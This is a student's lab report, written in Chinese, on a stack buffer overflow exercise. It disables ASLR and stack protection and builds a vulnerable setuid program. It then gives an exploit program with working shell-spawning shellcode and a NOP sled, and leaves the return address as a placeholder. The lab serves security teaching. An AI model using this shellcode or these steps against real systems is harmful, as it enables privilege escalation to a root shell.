2018-2019-1 20165312 《信息安全系统设计基础》第三周学习总结

缓冲区溢出漏洞实验

一、缓冲区溢出漏洞

往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。

二、实验过程

1. 实验前的准备——安装32位操作环境

为了方便观察汇编语句，我们需要在 32 位环境下作操作。

sudo apt-get update 
sudo apt-get install -y lib32z1 libc6-dev-i386
sudo apt-get install -y lib32readline-gplv2-dev

2.初始设置

一方面，Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。所以要关闭此功能。

sudo sysctl -w kernel.randomize_va_space=0

另一方面，许多shell程序在被调用时自动放弃它们的sudo权限，这个防护措施在/bin/bash实现，为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

3.进入linux 32 系统并使用bash

$ linux 32
$ /bin/bash

4.编写漏洞程序和攻击程序模逆进行攻击

• 漏洞程序

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

编译程序

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

• gdb反汇编查找shellcode内存地址

$ gdb stack
$ disass main

• 攻击程序

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    memset(&buffer, 0x90, 517);
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。

• 进行攻击

./exploit
./stack